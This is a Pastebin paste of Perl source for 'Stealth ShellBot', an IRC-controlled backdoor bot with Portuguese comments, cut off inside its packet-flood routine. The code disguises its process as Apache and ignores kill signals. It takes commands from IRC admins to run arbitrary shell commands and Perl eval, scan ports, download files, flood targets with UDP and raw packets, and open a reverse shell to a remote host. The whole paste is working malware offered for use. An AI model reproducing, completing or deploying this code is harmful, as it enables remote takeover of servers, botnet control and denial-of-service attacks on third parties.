Advertisement
Guest User

ix

a guest
Dec 9th, 2016
120
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 30.93 KB | None | 0 0
  1. #!/usr/bin/perl
  2.  
  3. # ShellBOT
  4.  
  5. # 0ldW0lf - oldwolf@atrix-team.org
  6.  
  7. # - www.atrix-team.org
  8.  
  9. # Stealth ShellBot Vers縊 0.2 by Thiago X
  10.  
  11. # Feito para ser usado em grandes redes de IRC sem IRCOP enchendo o saco :)
  12.  
  13. # Mudan軋s:
  14.  
  15. # - O Bot pega o nick/ident/name em uma URL e entra no IRC disfar軋do :);
  16.  
  17. # - O Bot agora responde PINGs;
  18.  
  19. # - Voc・pode definir o prefixo dos comandos nas configura鋏es;
  20.  
  21. # - Agora o Bot procurar pelo processo do apache para rodar como o apache :D;
  22.  
  23. # Comandos:
  24.  
  25. # - Adicionado comando !estatisticas <on/off>;
  26.  
  27. # - Alterado o comando @pacota para @oldpack;
  28.  
  29. # - Adicionado dois novos pacotadores: @udp <ip> <porta> <tempo> e @udpfaixa <faixa de ip> <porta> <tempo>;
  30.  
  31. # - Adicionado um novo portscan -> @fullportscan <ip> <porta inicial> <porta final>;
  32.  
  33. # - Adicionado comando @conback <ip> <porta> com suporte para Windows/Unix :D;
  34.  
  35. # - Adicionado comando: !sair para finalizar o bot;
  36.  
  37. # - Adicionado comando: !novonick para trocar o nick do bot por um novo aleatorio;
  38.  
  39. # - Adicionado comando !entra <canal> <tempo> e !sai <canal> <tempo>;
  40.  
  41. # - Adicionado comando @download <url> <arquivo a ser salvo>;
  42.  
  43. # - Adicionado comando !pacotes <on/off> para ativar/desativar pacotes :);
  44.  
  45.  
  46.  
  47. ########## CONFIGURACAO ############
  48.  
  49. my $processo = '/usr/local/apache/bin/httpd -DSSL';
  50.  
  51.  
  52.  
  53. $servidor='unrealircd.cf' unless $servidor;
  54.  
  55. my $porta='80';
  56.  
  57. my @canais=("#X");
  58.  
  59. my @adms=("x","k","z");
  60.  
  61.  
  62.  
  63. # Anti Flood ( 6/3 Recomendado )
  64.  
  65. my $linas_max=6;
  66.  
  67. my $sleep=3;
  68.  
  69.  
  70.  
  71. my $nick = getnick();
  72.  
  73. my $ircname = getident2();
  74.  
  75. my $realname = "uname -sr";
  76. chop (my $realname = `uname -sr`);
  77.  
  78.  
  79. my $acessoshell = 1;
  80.  
  81. ######## Stealth ShellBot ##########
  82.  
  83. my $prefixo = "!u";
  84.  
  85. my $estatisticas = 0;
  86.  
  87. my $pacotes = 1;
  88.  
  89. ####################################
  90.  
  91.  
  92.  
  93. my $VERSAO = '0.2a';
  94.  
  95.  
  96.  
  97. $SIG{'INT'} = 'IGNORE';
  98.  
  99. $SIG{'HUP'} = 'IGNORE';
  100.  
  101. $SIG{'TERM'} = 'IGNORE';
  102.  
  103. $SIG{'CHLD'} = 'IGNORE';
  104.  
  105. $SIG{'PS'} = 'IGNORE';
  106.  
  107.  
  108.  
  109. use IO::Socket;
  110.  
  111. use Socket;
  112.  
  113. use IO::Select;
  114.  
  115. chdir("/");
  116.  
  117. $servidor="$ARGV[0]" if $ARGV[0];
  118.  
  119. $0="$processo"."\0";
  120.  
  121. my $pid=fork;
  122.  
  123. exit if $pid;
  124.  
  125. die "Problema com o fork: $!" unless defined($pid);
  126.  
  127.  
  128.  
  129. my %irc_servers;
  130.  
  131. my %DCC;
  132.  
  133. my $dcc_sel = new IO::Select->new();
  134.  
  135.  
  136.  
  137. #####################
  138.  
  139. # Stealth Shellbot #
  140.  
  141. #####################
  142.  
  143.  
  144.  
  145.  
  146.  
  147.  
  148.  
  149. sub getnick {
  150.  
  151. #my $retornonick = &_get("http://websurvey.burstmedia.com/names.txt");
  152.  
  153. #return $retornonick;
  154.  
  155. return "BOT".int(rand(10000));
  156.  
  157. }
  158.  
  159.  
  160.  
  161.  
  162.  
  163. sub getident {
  164.  
  165. my $retornoident = &_get("http://www.minpop.com/sk12pack/idents.php");
  166.  
  167. my $identchance = int(rand(10000));
  168.  
  169. if ($identchance > 30) {
  170.  
  171. return $nick;
  172.  
  173. } else {
  174.  
  175. return $retornoident;
  176.  
  177. }
  178.  
  179. return $retornoident;
  180.  
  181. }
  182.  
  183.  
  184.  
  185. sub getname {
  186.  
  187. my $retornoname = &_get("http://www.minpop.com/sk12pack/names.php");
  188.  
  189. return $retornoname;
  190.  
  191. }
  192.  
  193.  
  194.  
  195. # IDENT TEMPORARIA - Pegar ident da url ta bugando o_o
  196.  
  197. sub getident2 {
  198.  
  199. my $length=shift;
  200.  
  201. $length = 3 if ($length < 3);
  202.  
  203.  
  204.  
  205. my @chars=('a'..'z','A'..'Z','1'..'9');
  206.  
  207. foreach (1..$length)
  208.  
  209. {
  210.  
  211. $randomstring.=$chars[rand @chars];
  212.  
  213. }
  214.  
  215. return $randomstring;
  216.  
  217. }
  218.  
  219.  
  220.  
  221. sub getstore ($$)
  222.  
  223. {
  224.  
  225. my $url = shift;
  226.  
  227. my $file = shift;
  228.  
  229.  
  230.  
  231. $http_stream_out = 1;
  232.  
  233. open(GET_OUTFILE, "> $file");
  234.  
  235. %http_loop_check = ();
  236.  
  237. _get($url);
  238.  
  239. close GET_OUTFILE;
  240.  
  241. return $main::http_get_result;
  242.  
  243. }
  244.  
  245.  
  246.  
  247. sub _get
  248.  
  249. {
  250.  
  251. my $url = shift;
  252.  
  253. my $proxy = "";
  254.  
  255. grep {(lc($_) eq "http_proxy") && ($proxy = $ENV{$_})} keys %ENV;
  256.  
  257. if (($proxy eq "") && $url =~ m,^http://([^/:]+)(?::(\d+))?(/\S*)?$,) {
  258.  
  259. my $host = $1;
  260.  
  261. my $port = $2 || 80;
  262.  
  263. my $path = $3;
  264.  
  265. $path = "/" unless defined($path);
  266.  
  267. return _trivial_http_get($host, $port, $path);
  268.  
  269. } elsif ($proxy =~ m,^http://([^/:]+):(\d+)(/\S*)?$,) {
  270.  
  271. my $host = $1;
  272.  
  273. my $port = $2;
  274.  
  275. my $path = $url;
  276.  
  277. return _trivial_http_get($host, $port, $path);
  278.  
  279. } else {
  280.  
  281. return undef;
  282.  
  283. }
  284.  
  285. }
  286.  
  287.  
  288.  
  289.  
  290.  
  291. sub _trivial_http_get
  292.  
  293. {
  294.  
  295. my($host, $port, $path) = @_;
  296.  
  297. my($AGENT, $VERSION, $p);
  298.  
  299. #print "HOST=$host, PORT=$port, PATH=$path\n";
  300.  
  301.  
  302.  
  303. $AGENT = "get-minimal";
  304.  
  305. $VERSION = "20000118";
  306.  
  307.  
  308.  
  309. $path =~ s/ /%20/g;
  310.  
  311.  
  312.  
  313. require IO::Socket;
  314.  
  315. local($^W) = 0;
  316.  
  317. my $sock = IO::Socket::INET->new(PeerAddr => $host,
  318.  
  319. PeerPort => $port,
  320.  
  321. Proto => 'tcp',
  322.  
  323. Timeout => 60) || return;
  324.  
  325. $sock->autoflush;
  326.  
  327. my $netloc = $host;
  328.  
  329. $netloc .= ":$port" if $port != 80;
  330.  
  331. my $request = "GET $path HTTP/1.0\015\012"
  332.  
  333. . "Host: $netloc\015\012"
  334.  
  335. . "User-Agent: $AGENT/$VERSION/u\015\012";
  336.  
  337. $request .= "Pragma: no-cache\015\012" if ($main::http_no_cache);
  338.  
  339. $request .= "\015\012";
  340.  
  341. print $sock $request;
  342.  
  343.  
  344.  
  345. my $buf = "";
  346.  
  347. my $n;
  348.  
  349. my $b1 = "";
  350.  
  351. while ($n = sysread($sock, $buf, 8*1024, length($buf))) {
  352.  
  353. if ($b1 eq "") { # first block?
  354.  
  355. $b1 = $buf; # Save this for errorcode parsing
  356.  
  357. $buf =~ s/.+?\015?\012\015?\012//s; # zap header
  358.  
  359. }
  360.  
  361. if ($http_stream_out) { print GET_OUTFILE $buf; $buf = ""; }
  362.  
  363. }
  364.  
  365. return undef unless defined($n);
  366.  
  367.  
  368.  
  369. $main::http_get_result = 200;
  370.  
  371. if ($b1 =~ m,^HTTP/\d+\.\d+\s+(\d+)[^\012]*\012,) {
  372.  
  373. $main::http_get_result = $1;
  374.  
  375. # print "CODE=$main::http_get_result\n$b1\n";
  376.  
  377. if ($main::http_get_result =~ /^30[1237]/ && $b1 =~ /\012Location:\s*(\S+)/
  378.  
  379. ) {
  380.  
  381. # redirect
  382.  
  383. my $url = $1;
  384.  
  385. return undef if $http_loop_check{$url}++;
  386.  
  387. return _get($url);
  388.  
  389. }
  390.  
  391. return undef unless $main::http_get_result =~ /^2/;
  392.  
  393. }
  394.  
  395.  
  396.  
  397. return $buf;
  398.  
  399. }
  400.  
  401.  
  402.  
  403. #############################
  404.  
  405. # B0tchZ na veia ehehe :P #
  406.  
  407. #############################
  408.  
  409.  
  410.  
  411. $sel_cliente = IO::Select->new();
  412.  
  413. sub sendraw {
  414.  
  415. if ($#_ == '1') {
  416.  
  417. my $socket = $_[0];
  418.  
  419. print $socket "$_[1]\n";
  420.  
  421. } else {
  422.  
  423. print $IRC_cur_socket "$_[0]\n";
  424.  
  425. }
  426.  
  427. }
  428.  
  429.  
  430.  
  431. sub conectar {
  432.  
  433. my $meunick = $_[0];
  434.  
  435. my $servidor_con = $_[1];
  436.  
  437. my $porta_con = $_[2];
  438.  
  439.  
  440.  
  441. my $IRC_socket = IO::Socket::INET->new(Proto=>"tcp", PeerAddr=>"$servidor_con", PeerPort=>$porta_con) or return(1);
  442.  
  443. if (defined($IRC_socket)) {
  444.  
  445. $IRC_cur_socket = $IRC_socket;
  446.  
  447.  
  448.  
  449. $IRC_socket->autoflush(1);
  450.  
  451. $sel_cliente->add($IRC_socket);
  452.  
  453.  
  454.  
  455. $irc_servers{$IRC_cur_socket}{'host'} = "$servidor_con";
  456.  
  457. $irc_servers{$IRC_cur_socket}{'porta'} = "$porta_con";
  458.  
  459. $irc_servers{$IRC_cur_socket}{'nick'} = $meunick;
  460.  
  461. $irc_servers{$IRC_cur_socket}{'meuip'} = $IRC_socket->sockhost;
  462.  
  463. nick("$meunick");
  464.  
  465. sendraw("USER $ircname ".$IRC_socket->sockhost." $servidor_con :$realname");
  466.  
  467. sleep 2;
  468.  
  469. }
  470.  
  471.  
  472.  
  473. }
  474.  
  475. my $line_temp;
  476.  
  477. while( 1 ) {
  478.  
  479. while (!(keys(%irc_servers))) { conectar("$nick", "$servidor", "$porta"); }
  480.  
  481. delete($irc_servers{''}) if (defined($irc_servers{''}));
  482.  
  483. &DCC::connections;
  484.  
  485. my @ready = $sel_cliente->can_read(0.6);
  486.  
  487. next unless(@ready);
  488.  
  489. foreach $fh (@ready) {
  490.  
  491. $IRC_cur_socket = $fh;
  492.  
  493. $meunick = $irc_servers{$IRC_cur_socket}{'nick'};
  494.  
  495. $nread = sysread($fh, $msg, 4096);
  496.  
  497. if ($nread == 0) {
  498.  
  499. $sel_cliente->remove($fh);
  500.  
  501. $fh->close;
  502.  
  503. delete($irc_servers{$fh});
  504.  
  505. }
  506.  
  507. @lines = split (/\n/, $msg);
  508.  
  509.  
  510.  
  511. for(my $c=0; $c<= $#lines; $c++) {
  512.  
  513. $line = $lines[$c];
  514.  
  515. $line=$line_temp.$line if ($line_temp);
  516.  
  517. $line_temp='';
  518.  
  519. $line =~ s/\r$//;
  520.  
  521. unless ($c == $#lines) {
  522.  
  523. parse("$line");
  524.  
  525. } else {
  526.  
  527. if ($#lines == 0) {
  528.  
  529. parse("$line");
  530.  
  531. } elsif ($lines[$c] =~ /\r$/) {
  532.  
  533. parse("$line");
  534.  
  535. } elsif ($line =~ /^(\S+) NOTICE AUTH :\*\*\*/) {
  536.  
  537. parse("$line");
  538.  
  539. } else {
  540.  
  541. $line_temp = $line;
  542.  
  543. }
  544.  
  545. }
  546.  
  547. }
  548.  
  549. }
  550.  
  551. }
  552.  
  553.  
  554.  
  555. sub parse {
  556.  
  557. my $servarg = shift;
  558.  
  559. if ($servarg =~ /^PING \:(.*)/) {
  560.  
  561. sendraw("PONG :$1");
  562.  
  563. } elsif ($servarg =~ /^\:(.+?)\!(.+?)\@(.+?) PRIVMSG (.+?) \:(.+)/) {
  564.  
  565. my $pn=$1; my $onde = $4; my $args = $5;
  566.  
  567. if ($args =~ /^\001VERSION\001$/) {
  568.  
  569. notice("$pn", "\001VERSION mIRC v6.16 Khaled Mardam-Bey\001");
  570.  
  571. }
  572.  
  573. elsif ($args =~ /^\001PING\s+(\d+)\001$/) {
  574.  
  575. notice("$pn", "\001PONG\001");
  576.  
  577. }
  578.  
  579. elsif (grep {$_ =~ /^\Q$pn\E$/i } @adms) {
  580.  
  581. if ($onde eq "$meunick"){
  582.  
  583. shell("$pn", "$args");
  584.  
  585. }
  586.  
  587. elsif ($args =~ /^(\Q$meunick\E|\Q$prefixo\E)\s+(.*)/ ) {
  588.  
  589. my $natrix = $1;
  590.  
  591. my $arg = $2;
  592.  
  593. if ($arg =~ /^\!(.*)/) {
  594.  
  595. ircase("$pn","$onde","$1") unless ($natrix eq "$prefixo" and $arg =~ /^\!nick/);
  596.  
  597. } elsif ($arg =~ /^\@(.*)/) {
  598.  
  599. $ondep = $onde;
  600.  
  601. $ondep = $pn if $onde eq $meunick;
  602.  
  603. bfunc("$ondep","$1");
  604.  
  605. } else {
  606.  
  607. shell("$onde", "$arg");
  608.  
  609. }
  610.  
  611. }
  612.  
  613. }
  614.  
  615. } elsif ($servarg =~ /^\:(.+?)\!(.+?)\@(.+?)\s+NICK\s+\:(\S+)/i) {
  616.  
  617. if (lc($1) eq lc($meunick)) {
  618.  
  619. $meunick=$4;
  620.  
  621. $irc_servers{$IRC_cur_socket}{'nick'} = $meunick;
  622.  
  623. }
  624.  
  625. } elsif ($servarg =~ m/^\:(.+?)\s+433/i) {
  626.  
  627. $meunick = getnick();
  628.  
  629. nick("$meunick");
  630.  
  631. } elsif ($servarg =~ m/^\:(.+?)\s+001\s+(\S+)\s/i) {
  632.  
  633. $meunick = $2;
  634.  
  635. $irc_servers{$IRC_cur_socket}{'nick'} = $meunick;
  636.  
  637. $irc_servers{$IRC_cur_socket}{'nome'} = "$1";
  638.  
  639. foreach my $canal (@canais) {
  640.  
  641. sendraw("JOIN $canal");
  642.  
  643. }
  644.  
  645. }
  646.  
  647. }
  648.  
  649.  
  650.  
  651. sub bfunc {
  652.  
  653. my $printl = $_[0];
  654.  
  655. my $funcarg = $_[1];
  656.  
  657. if (my $pid = fork) {
  658.  
  659. waitpid($pid, 0);
  660.  
  661. } else {
  662.  
  663. if (fork) {
  664.  
  665. exit;
  666.  
  667. } else {
  668.  
  669. if ($funcarg =~ /^portscan (.*)/) {
  670.  
  671. my $hostip="$1";
  672.  
  673. my @portas=("21","22","23","25","53","80","110","143");
  674.  
  675. my (@aberta, %porta_banner);
  676.  
  677. foreach my $porta (@portas) {
  678.  
  679. my $scansock = IO::Socket::INET->new(PeerAddr => $hostip, PeerPort => $porta, Proto => 'tcp', Timeout => 4);
  680.  
  681. if ($scansock) {
  682.  
  683. push (@aberta, $porta);
  684.  
  685. $scansock->close;
  686.  
  687. }
  688.  
  689. }
  690.  
  691. if (@aberta) {
  692.  
  693. sendraw($IRC_cur_socket, "PRIVMSG $printl :Portas abertas: @aberta");
  694.  
  695. } else {
  696.  
  697. sendraw($IRC_cur_socket,"PRIVMSG $printl :Nenhuma porta aberta foi encontrada.");
  698.  
  699. }
  700.  
  701. }
  702.  
  703.  
  704.  
  705. elsif ($funcarg =~ /^download\s+(.*)\s+(.*)/) {
  706.  
  707. getstore("$1", "$2");
  708.  
  709. sendraw($IRC_cur_socket, "PRIVMSG $printl :Download de $2 ($1) Conclu冝o!") if ($estatisticas);
  710.  
  711. }
  712.  
  713.  
  714.  
  715. elsif ($funcarg =~ /^fullportscan\s+(.*)\s+(\d+)\s+(\d+)/) {
  716.  
  717. my $hostname="$1";
  718.  
  719. my $portainicial = "$2";
  720.  
  721. my $portafinal = "$3";
  722.  
  723. my (@abertas, %porta_banner);
  724.  
  725. foreach my $porta ($portainicial..$portafinal)
  726.  
  727. {
  728.  
  729. my $scansock = IO::Socket::INET->new(PeerAddr => $hostname, PeerPort => $porta, Proto => 'tcp', Timeout => 4);
  730.  
  731. if ($scansock) {
  732.  
  733. push (@abertas, $porta);
  734.  
  735. $scansock->close;
  736.  
  737. if ($estatisticas) {
  738.  
  739. sendraw($IRC_cur_socket, "PRIVMSG $printl :Porta $porta aberta em $hostname");
  740.  
  741. }
  742.  
  743. }
  744.  
  745. }
  746.  
  747. if (@abertas) {
  748.  
  749. sendraw($IRC_cur_socket, "PRIVMSG $printl :Portas abertas: @abertas");
  750.  
  751. } else {
  752.  
  753. sendraw($IRC_cur_socket,"PRIVMSG $printl :Nenhuma porta aberta foi encontrada.");
  754.  
  755. }
  756.  
  757. }
  758.  
  759.  
  760.  
  761. # Duas Verss simplificada do meu Tr0x ;D
  762.  
  763. elsif ($funcarg =~ /^udp\s+(.*)\s+(\d+)\s+(\d+)/) {
  764.  
  765. return unless $pacotes;
  766.  
  767. socket(Tr0x, PF_INET, SOCK_DGRAM, 17);
  768.  
  769. my $alvo=inet_aton("$1");
  770.  
  771. my $porta = "$2";
  772.  
  773. my $tempo = "$3";
  774.  
  775. my $pacote;
  776.  
  777. my $pacotese;
  778.  
  779. my $fim = time + $tempo;
  780.  
  781. my $pacota = 1;
  782.  
  783. while (($pacota == "1") && ($pacotes == "1")) {
  784.  
  785. $pacota = 0 if ((time >= $fim) && ($tempo != "0"));
  786.  
  787. $pacote=$rand x $rand x $rand;
  788.  
  789. $porta = int(rand 65000) +1 if ($porta == "0");
  790.  
  791. send(Tr0x, 0, $pacote, sockaddr_in($porta, $alvo)) and $pacotese++ if ($pacotes == "1");
  792.  
  793. }
  794.  
  795. if ($estatisticas)
  796.  
  797. {
  798.  
  799. sendraw($IRC_cur_socket, "PRIVMSG $printl :\002Tempo de Pacotes\002: $tempo"."s");
  800.  
  801. sendraw($IRC_cur_socket, "PRIVMSG $printl :\002Total de Pacotes\002: $pacotese");
  802.  
  803. sendraw($IRC_cur_socket, "PRIVMSG $printl :\002Alvo dos Pacotes\002: $1");
  804.  
  805. }
  806.  
  807. }
  808.  
  809.  
  810.  
  811. elsif ($funcarg =~ /^udpfaixa\s+(.*)\s+(\d+)\s+(\d+)/) {
  812.  
  813. return unless $pacotes;
  814.  
  815. socket(Tr0x, PF_INET, SOCK_DGRAM, 17);
  816.  
  817. my $faixaip="$1";
  818.  
  819. my $porta = "$2";
  820.  
  821. my $tempo = "$3";
  822.  
  823. my $pacote;
  824.  
  825. my $pacotes;
  826.  
  827. my $fim = time + $tempo;
  828.  
  829. my $pacota = 1;
  830.  
  831. my $alvo;
  832.  
  833. while ($pacota == "1") {
  834.  
  835. $pacota = 0 if ((time >= $fim) && ($tempo != "0"));
  836.  
  837. for (my $faixa = 1; $faixa <= 255; $faixa++) {
  838.  
  839. $alvo = inet_aton("$faixaip.$faixa");
  840.  
  841. $pacote=$rand x $rand x $rand;
  842.  
  843. $porta = int(rand 65000) +1 if ($porta == "0");
  844.  
  845. send(Tr0x, 0, $pacote, sockaddr_in($porta, $alvo)) and $pacotese++ if ($pacotes == "1");
  846.  
  847. if ($faixa >= 255) {
  848.  
  849. $faixa = 1;
  850.  
  851. }
  852.  
  853. }
  854.  
  855. }
  856.  
  857. if ($estatisticas)
  858.  
  859. {
  860.  
  861. sendraw($IRC_cur_socket, "PRIVMSG $printl :\002Tempo de Pacotes\002: $tempo"."s");
  862.  
  863. sendraw($IRC_cur_socket, "PRIVMSG $printl :\002Total de Pacotes\002: $pacotese");
  864.  
  865. sendraw($IRC_cur_socket, "PRIVMSG $printl :\002Alvo dos Pacotes\002: $alvo");
  866.  
  867. }
  868.  
  869. }
  870.  
  871.  
  872.  
  873. # Conback.pl by Dominus Vis adaptada e adicionado suporte pra windows ;p
  874.  
  875. elsif ($funcarg =~ /^conback\s+(.*)\s+(\d+)/) {
  876.  
  877. my $host = "$1";
  878.  
  879. my $porta = "$2";
  880.  
  881. my $proto = getprotobyname('tcp');
  882.  
  883. my $iaddr = inet_aton($host);
  884.  
  885. my $paddr = sockaddr_in($porta, $iaddr);
  886.  
  887. my $shell = "/bin/sh -i";
  888.  
  889. if ($^O eq "MSWin32") {
  890.  
  891. $shell = "cmd.exe";
  892.  
  893. }
  894.  
  895. socket(SOCKET, PF_INET, SOCK_STREAM, $proto) or die "socket: $!";
  896.  
  897. connect(SOCKET, $paddr) or die "connect: $!";
  898.  
  899. open(STDIN, ">&SOCKET");
  900.  
  901. open(STDOUT, ">&SOCKET");
  902.  
  903. open(STDERR, ">&SOCKET");
  904.  
  905. system("$shell");
  906.  
  907. close(STDIN);
  908.  
  909. close(STDOUT);
  910.  
  911. close(STDERR);
  912.  
  913.  
  914.  
  915. if ($estatisticas)
  916.  
  917. {
  918.  
  919. sendraw($IRC_cur_socket, "PRIVMSG $printl :\002Conectando-se em\002: $host:$porta");
  920.  
  921. }
  922.  
  923. }
  924.  
  925.  
  926.  
  927. elsif ($funcarg =~ /^oldpack\s+(.*)\s+(\d+)\s+(\d+)/) {
  928.  
  929. return unless $pacotes;
  930.  
  931. my ($dtime, %pacotes) = attacker("$1", "$2", "$3");
  932.  
  933. $dtime = 1 if $dtime == 0;
  934.  
  935. my %bytes;
  936.  
  937. $bytes{igmp} = $2 * $pacotes{igmp};
  938.  
  939. $bytes{icmp} = $2 * $pacotes{icmp};
  940.  
  941. $bytes{o} = $2 * $pacotes{o};
  942.  
  943. $bytes{udp} = $2 * $pacotes{udp};
  944.  
  945. $bytes{tcp} = $2 * $pacotes{tcp};
  946.  
  947. unless ($estatisticas)
  948.  
  949. {
  950.  
  951. sendraw($IRC_cur_socket, "PRIVMSG $printl :\002 - Status GERAL -\002");
  952.  
  953. sendraw($IRC_cur_socket, "PRIVMSG $printl :\002Tempo\002: $dtime"."s");
  954.  
  955. sendraw($IRC_cur_socket, "PRIVMSG $printl :\002Total pacotes\002: ".($pacotes{udp} + $pacotes{igmp} + $pacotes{icmp} + $pacotes{o}));
  956.  
  957. sendraw($IRC_cur_socket, "PRIVMSG $printl :\002Total bytes\002: ".($bytes{icmp} + $bytes {igmp} + $bytes{udp} + $bytes{o}));
  958.  
  959. sendraw($IRC_cur_socket, "PRIVMSG $printl :\002M馘ia de envio\002: ".int((($bytes{icmp}+$bytes{igmp}+$bytes{udp} + $bytes{o})/1024)/$dtime)." kbps");
  960.  
  961. }
  962.  
  963. }
  964.  
  965. exit;
  966.  
  967. }
  968.  
  969. }
  970.  
  971. }
  972.  
  973.  
  974.  
  975. sub ircase {
  976.  
  977. my ($kem, $printl, $case) = @_;
  978.  
  979.  
  980.  
  981. if ($case =~ /^join (.*)/) {
  982.  
  983. j("$1");
  984.  
  985. }
  986.  
  987. elsif ($case =~ /^part (.*)/) {
  988.  
  989. p("$1");
  990.  
  991. }
  992.  
  993. elsif ($case =~ /^rejoin\s+(.*)/) {
  994.  
  995. my $chan = $1;
  996.  
  997. if ($chan =~ /^(\d+) (.*)/) {
  998.  
  999. for (my $ca = 1; $ca <= $1; $ca++ ) {
  1000.  
  1001. p("$2");
  1002.  
  1003. j("$2");
  1004.  
  1005. }
  1006.  
  1007. } else {
  1008.  
  1009. p("$chan");
  1010.  
  1011. j("$chan");
  1012.  
  1013. }
  1014.  
  1015. }
  1016.  
  1017. elsif ($case =~ /^op/) {
  1018.  
  1019. op("$printl", "$kem") if $case eq "op";
  1020.  
  1021. my $oarg = substr($case, 3);
  1022.  
  1023. op("$1", "$2") if ($oarg =~ /(\S+)\s+(\S+)/);
  1024.  
  1025. }
  1026.  
  1027. elsif ($case =~ /^deop/) {
  1028.  
  1029. deop("$printl", "$kem") if $case eq "deop";
  1030.  
  1031. my $oarg = substr($case, 5);
  1032.  
  1033. deop("$1", "$2") if ($oarg =~ /(\S+)\s+(\S+)/);
  1034.  
  1035. }
  1036.  
  1037. elsif ($case =~ /^voice/) {
  1038.  
  1039. voice("$printl", "$kem") if $case eq "voice";
  1040.  
  1041. $oarg = substr($case, 6);
  1042.  
  1043. voice("$1", "$2") if ($oarg =~ /(\S+)\s+(\S+)/);
  1044.  
  1045. }
  1046.  
  1047. elsif ($case =~ /^devoice/) {
  1048.  
  1049. devoice("$printl", "$kem") if $case eq "devoice";
  1050.  
  1051. $oarg = substr($case, 8);
  1052.  
  1053. devoice("$1", "$2") if ($oarg =~ /(\S+)\s+(\S+)/);
  1054.  
  1055. }
  1056.  
  1057. elsif ($case =~ /^msg\s+(\S+) (.*)/) {
  1058.  
  1059. msg("$1", "$2");
  1060.  
  1061. }
  1062.  
  1063. elsif ($case =~ /^flood\s+(\d+)\s+(\S+) (.*)/) {
  1064.  
  1065. for (my $cf = 1; $cf <= $1; $cf++) {
  1066.  
  1067. msg("$2", "$3");
  1068.  
  1069. }
  1070.  
  1071. }
  1072.  
  1073. elsif ($case =~ /^ctcpflood\s+(\d+)\s+(\S+) (.*)/) {
  1074.  
  1075. for (my $cf = 1; $cf <= $1; $cf++) {
  1076.  
  1077. ctcp("$2", "$3");
  1078.  
  1079. }
  1080.  
  1081. }
  1082.  
  1083. elsif ($case =~ /^ctcp\s+(\S+) (.*)/) {
  1084.  
  1085. ctcp("$1", "$2");
  1086.  
  1087. }
  1088.  
  1089. elsif ($case =~ /^invite\s+(\S+) (.*)/) {
  1090.  
  1091. invite("$1", "$2");
  1092.  
  1093. }
  1094.  
  1095. elsif ($case =~ /^nick (.*)/) {
  1096.  
  1097. nick("$1");
  1098.  
  1099. }
  1100.  
  1101. elsif ($case =~ /^conecta\s+(\S+)\s+(\S+)/) {
  1102.  
  1103. conectar("$2", "$1", 6667);
  1104.  
  1105. }
  1106.  
  1107. elsif ($case =~ /^send\s+(\S+)\s+(\S+)/) {
  1108.  
  1109. DCC::SEND("$1", "$2");
  1110.  
  1111. }
  1112.  
  1113. elsif ($case =~ /^raw (.*)/) {
  1114.  
  1115. sendraw("$1");
  1116.  
  1117. }
  1118.  
  1119. elsif ($case =~ /^eval (.*)/) {
  1120.  
  1121. eval "$1";
  1122.  
  1123. }
  1124.  
  1125. elsif ($case =~ /^entra\s+(\S+)\s+(\d+)/) {
  1126.  
  1127. sleep int(rand($2));
  1128.  
  1129. j("$1");
  1130.  
  1131. }
  1132.  
  1133. elsif ($case =~ /^sai\s+(\S+)\s+(\d+)/) {
  1134.  
  1135. sleep int(rand($2));
  1136.  
  1137. p("$1");
  1138.  
  1139. }
  1140.  
  1141. elsif ($case =~ /^sair/) {
  1142.  
  1143. quit();
  1144.  
  1145. }
  1146.  
  1147. elsif ($case =~ /^novonick/) {
  1148.  
  1149. my $novonick = getnick();
  1150.  
  1151. nick("$novonick");
  1152.  
  1153. }
  1154.  
  1155. elsif ($case =~ /^estatisticas (.*)/) {
  1156.  
  1157. if ($1 eq "on") {
  1158.  
  1159. $estatisticas = 1;
  1160.  
  1161. msg("$printl", "Estat﨎ticas ativadas!");
  1162.  
  1163. } elsif ($1 eq "off") {
  1164.  
  1165. $estatisticas = 0;
  1166.  
  1167. msg("$printl", "Estat﨎ticas desativadas!");
  1168.  
  1169. }
  1170.  
  1171. }
  1172.  
  1173. elsif ($case =~ /^pacotes (.*)/) {
  1174.  
  1175. if ($1 eq "on") {
  1176.  
  1177. $pacotes = 1;
  1178.  
  1179. msg("$printl", "Pacotes ativados!") if ($estatisticas == "1");
  1180.  
  1181. } elsif ($1 eq "off") {
  1182.  
  1183. $pacotes = 0;
  1184.  
  1185. msg("$printl", "Pacotes desativados!") if ($estatisticas == "1");
  1186.  
  1187. }
  1188.  
  1189. }
  1190.  
  1191. }
  1192.  
  1193. sub shell {
  1194.  
  1195. return unless $acessoshell;
  1196.  
  1197. my $printl=$_[0];
  1198.  
  1199. my $comando=$_[1];
  1200.  
  1201. if ($comando =~ /cd (.*)/) {
  1202.  
  1203. chdir("$1") || msg("$printl", "Diretio inexistente!");
  1204.  
  1205. return;
  1206.  
  1207. }
  1208.  
  1209. elsif ($pid = fork) {
  1210.  
  1211. waitpid($pid, 0);
  1212.  
  1213. } else {
  1214.  
  1215. if (fork) {
  1216.  
  1217. exit;
  1218.  
  1219. } else {
  1220.  
  1221. my @resp=`$comando 2>&1 3>&1`;
  1222.  
  1223. my $c=0;
  1224.  
  1225. foreach my $linha (@resp) {
  1226.  
  1227. $c++;
  1228.  
  1229. chop $linha;
  1230.  
  1231. sendraw($IRC_cur_socket, "PRIVMSG $printl :$linha");
  1232.  
  1233. if ($c >= "$linas_max") {
  1234.  
  1235. $c=0;
  1236.  
  1237. sleep $sleep;
  1238.  
  1239. }
  1240.  
  1241. }
  1242.  
  1243. exit;
  1244.  
  1245. }
  1246.  
  1247. }
  1248.  
  1249. }
  1250.  
  1251.  
  1252.  
  1253. #eu fiz um pacotadorzinhu e talz.. dai colokemo ele aki
  1254.  
  1255. sub attacker {
  1256.  
  1257. my $iaddr = inet_aton($_[0]);
  1258.  
  1259. my $msg = 'B' x $_[1];
  1260.  
  1261. my $ftime = $_[2];
  1262.  
  1263. my $cp = 0;
  1264.  
  1265. my (%pacotes);
  1266.  
  1267. $pacotes{icmp} = $pacotes{igmp} = $pacotes{udp} = $pacotes{o} = $pacotes{tcp} = 0;
  1268.  
  1269.  
  1270.  
  1271. socket(SOCK1, PF_INET, SOCK_RAW, 2) or $cp++;
  1272.  
  1273. socket(SOCK2, PF_INET, SOCK_DGRAM, 17) or $cp++;
  1274.  
  1275. socket(SOCK3, PF_INET, SOCK_RAW, 1) or $cp++;
  1276.  
  1277. socket(SOCK4, PF_INET, SOCK_RAW, 6) or $cp++;
  1278.  
  1279. return(undef) if $cp == 4;
  1280.  
  1281. my $itime = time;
  1282.  
  1283. my ($cur_time);
  1284.  
  1285. while ( 1 ) {
  1286.  
  1287. for (my $porta = 1; $porta <= 65535; $porta++) {
  1288.  
  1289. $cur_time = time - $itime;
